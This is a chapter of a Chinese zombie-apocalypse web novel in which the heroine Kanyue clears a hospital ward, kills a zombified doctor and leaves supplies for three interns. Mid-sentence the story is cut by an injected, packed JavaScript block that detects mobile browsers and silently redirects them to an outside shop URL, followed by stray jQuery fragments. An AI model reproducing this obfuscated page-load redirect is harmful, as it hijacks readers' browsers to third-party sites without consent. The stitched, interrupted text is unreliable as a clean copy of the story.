坎月站在阳台的玻璃门前,安静望着外面刚刚亮起的路灯。
等过些日子,光源会逐渐减少直至彻底消失,不过无论如何,最后终会重新亮起。
人类的命运如同这路灯,周而复始,生生不息。
丧尸来袭,活着的人不断减少,幸存者的信心被慢慢蚕食,继而失去希望,放弃生机。
但随着时间的推移,他们总会奋起反抗,绝处逢生。
宛如立在窗外的那些路灯,暗下后迟早会亮起。
迟早!
中医院灯牌的红色光线映在坎月脸上,显得她的神情愈发莫测。
抬手抚了抚一侧长发,坎月转身关掉床头灯,唇角勾起一抹意味不明的淡笑。
“宝贝儿,你可得多睡会儿。”
说完,她利落开门,眨眼钻入对面的护士台下。
在顾佳佳清醒之前,她计划将针灸科的丧尸清理一番,以减少不必要的麻烦。
顺便找两件药味满满的白大褂掩人耳目,一袋子熏死人不偿命的中药丸当备用,几包方便携带的银针做武器。
听见响动循声而来的几只丧尸,尚未走到护士站便失去目标,迟缓地在过道里游荡。
坎月从护士台下探出脑袋,仔细观察大门周围的情况。
住院部新大楼的设计,是一般人欣赏不来的类型。
科室外宽敞的回字形走廊与L形病区的面积平分秋色,十二部电梯对称地排在走廊上下两端,以大门和楼梯为中间点,左右各三部,隔着玻璃两两相对。
颇有点楚河汉界的意味。
摸着良心说句实话,这设计实打实是种资源浪费。
除了有利于困住丧尸,其他别无是处。
或者说,设计者是个预言家,事前就知道会有丧尸病毒爆发,于是乎专门建了个奇葩的新大楼?
坎月莞尔,似乎被自己的想法逗乐了。
走廊上,三只丧尸漫无目的闲逛,病区大门旁有部分视觉死角,依据推断,那里顶多还有两只。
坎月心说,比想象中容易对付。
她抓过桌上哄小孩用的智能布娃娃,打开开关后扔向走廊一角。
连日来死气沉沉的针灸科突兀响起孩童稚嫩的说话声,瞬间便吸引了丧尸们的注意,纷纷朝着玩偶踉跄而去。
坎月隐在暗处,冷眼旁观它们不断从病区离开,盲目地围攻布偶。
没多久,填充用的棉花被丧尸暴力扯出,散落一地。
智能娃娃的声音变了调,断断续续,嘶哑刺耳,听着很是惊悚。
她掐着时间钻出护士台,悄无声息从走廊另一侧绕到正对面的安全通道,迅速将常开式消防门阖上,挡住楼道内陆续赶来的丧尸。
病毒爆发初期,丧尸们行动迟缓、平衡能力差,最终成功闯入的寥寥无几。
被挡在门外的,开始愤怒捶打安全门,进入门内的,则被声音惊动不断掉头扑向坎月。
集中在布偶附近的丧尸们不懂得相互配合,更不懂得包抄围堵的策略,仅是凭本能挑最近的猎食路线。
他们一窝蜂朝着相同的方向涌来,正好遂了坎月的意。
眼看着八九只丧尸放弃布偶接踵而至,坎月淡定站在原地,直勾勾盯着对面的病区过道,像是在确认整个楼层能自由活动的丧尸,是否已全都出来。
蓦地,一只血肉模糊的胳膊伴着浓烈的腐臭袭向她。
坎月错开一步避让,习惯性飞起一脚揣在丧尸脑袋上。
巨大的冲击力使得丧尸砸向护栏,在一片杂乱的声响中,连同碎裂的玻璃、损毁的栏杆一并掉下了十三楼。
坎月稳稳落地,后知后觉想起自己伤势未愈。
此刻浑身隐隐作痛,很不好受。
她不满地瘪瘪嘴,表情略显无奈。
稍作缓和,又迅速朝着没有丧尸的方向跑回针灸科病区。
丧尸尾随其后,喉咙里不断传出极小的低沉哼声。
临近病区,坎月脚下一拐,轻车熟路关上大门。
瞧着渐渐消失在视线里的丧尸,也不管人家听不听得懂,她似是安抚般说了句:“听话,都乖乖待着,少给我找点麻烦。”
将锁扣上,点燃几根艾灸条放在周围,她满意地扫了眼空荡荡的过道。
“针灸科果然是块风水宝地。”
说着,自顾自绕过护士台进了办公室,压根不理会后面不绝于耳的拍门声。
反正医院的门板向来结实耐撞,抵挡区区几只丧尸不在话下。
再者,看不见食物,闻不到血腥,丧尸们折腾一会儿自然会离开,完全不用担心病区失守的问题。
办公室门甫一推开,坎月和阳台外穿着血色白大褂的丧尸医生来了个四目相对。
灯是亮着的,地面血迹斑斑,阳台玻璃门上尽是暗红的血手印。
丧尸医生左肩缺失一大块皮肉,伤口周围发黑腐化,依稀可见森森白骨。
突然闯入的活物促使他进食欲高涨,没命地捶打玻璃门。
坎月目光在锁扣处顿了顿,玻璃门是从外面锁死的。
也就是说,医生在彻底丧尸化前,自己把自己困于阳台,以防止意识不清的状态下伤及无辜。
坎月轻轻关上门,眸光晦暗不明地靠着墙壁,似乎在思考什么。
几秒后,她反手扯过件白大褂,朝着丧尸医生径直而去,在离它约莫一步远的距离时,猛然抬起手肘击碎玻璃。
她用的力道极大,玻璃碎片四溅的同时,丧尸医生被撞得朝后飞出。
不等坠楼,坎月已出现在它身后,手中白大褂将其整个包裹住,两只衣袖在背上打了个结。
丧尸医生正欲挣扎,却见坎月右手闪电般伸向它颈椎处。
咔嚓一声,白皙纤细的五指以骇人的速度和手法破坏了脊椎骨。
坎月稍稍侧身,丧尸医生擦着阳台边缘滑出。
俯视着黑暗中越来越远的那抹白色,她嘴唇微动,轻声念出两个字,“安息。”
兴许好人不一定会有好报,但好人至少该得到尊重。
重物落地的闷响,惊醒了几间阳台之隔的三名实习医生。
他们目睹了整个过程,正呆若木鸡地望着坎月。
若非亲眼所见,三人绝不会相信,这个亭亭玉立、风姿卓越的年轻女性,竟能在不到一分钟的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836996|211476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时间内,轻易击杀变异者。
此情此景,任何言语都无法描述他们内心的震撼。
果然,人不可貌相,海水不可斗量!
无怪人家敢毫不犹豫地脱离团体,百无顾忌地为所欲为。
就这实力,末世里随随便便横着走。
“请问……”
卫冬好不容易僵着舌头开口,谁知坎月瞥了几人一眼,转身离开。
没过多久,她拎着一袋子打包好的中药丸、手电筒等物品折返,随手一扔,袋子在空中划出好看的抛物线,精准落入夏奇怀里。
本想给卫冬的,可惜他过于谨慎多疑,约莫会直接躲开。
“药丸涂在衣服上,手电省着点用。好运!”未待他们反应,坎月的身影再次消失。
少顷,值班室灯灭。
夜风吹来,三个实习医生一哆嗦,方知满身是汗,脊背湿了一大片。
“这……”夏奇指了指怀里的袋子。
卫冬和秋实对视一番,眉头紧紧拧着。
“身法诡异,动作敏捷,下手快准狠,一看便是受过专业训练,她……”
夏奇打断秋实,偏头接了句,“杀手?特种兵?”
两人没理他。
卫冬捻起一颗药丸,微微眯眼,“不止如此,她还对感染的状况一清二楚,对病区的情形了如指掌。”
无需对比,一举挑中气味最刺鼻的药丸,不必翻找,轻易拿到备用手电筒,卫冬不相信她凭的是运气。
“特工医生!”
夏奇胡乱得出个结论,硬推着两人进屋。
拉上玻璃门的瞬间,他忍不住朝空无一人的办公室阳台露出个笑容。
不愧是让他一见钟情的女人,厉害!完美!
病区过道早已恢复安静,穿着白大褂的坎月在昏黑中显得格外醒目。
她胳膊夹着微波炉,手里提着药丸、电筒、零食等物品悠闲往回走,听到三人的对话低低笑出声。
杀手?特种兵?特工医生?
亏夏奇想得出来!
再往下是不是要蹦出改造人、异能者了?
坎月偏头往那间病房的方向瞧了瞧,三人心理素质不错。
特别是卫冬、秋实,在丧尸围城的处境下,到现在依然能保持头脑清醒、理性冷静,实属不易。
没准他们几个,真能熬到灾难过去。
行至护士台时,坎月略微迟疑,腾出手拿起个粉色的智能语音布偶塞进袋子。
她倒是开始好奇了,新大楼究竟是谁设计的?
回字形走廊、结实的门窗、护士台智能布偶、内外各一条的安全通道、不及腰高的病房阳台,莫非还真是个末世预言家?
胡思乱想走到顾佳佳所在的病房外,坎月耸耸肩,暂且放弃思索。
打开门摁亮灯,病房霎时被照得恍如白昼。
面无血色的顾佳佳仍旧昏迷着,柔弱的模样煞是惹人垂怜。
坎月将微波炉放在矮凳上,提着袋子来到她床前。
“宝贝儿,我给你找了个解闷的玩意儿。”
说着,她笑盈盈地把智能语音娃娃摆在了顾佳佳枕头旁。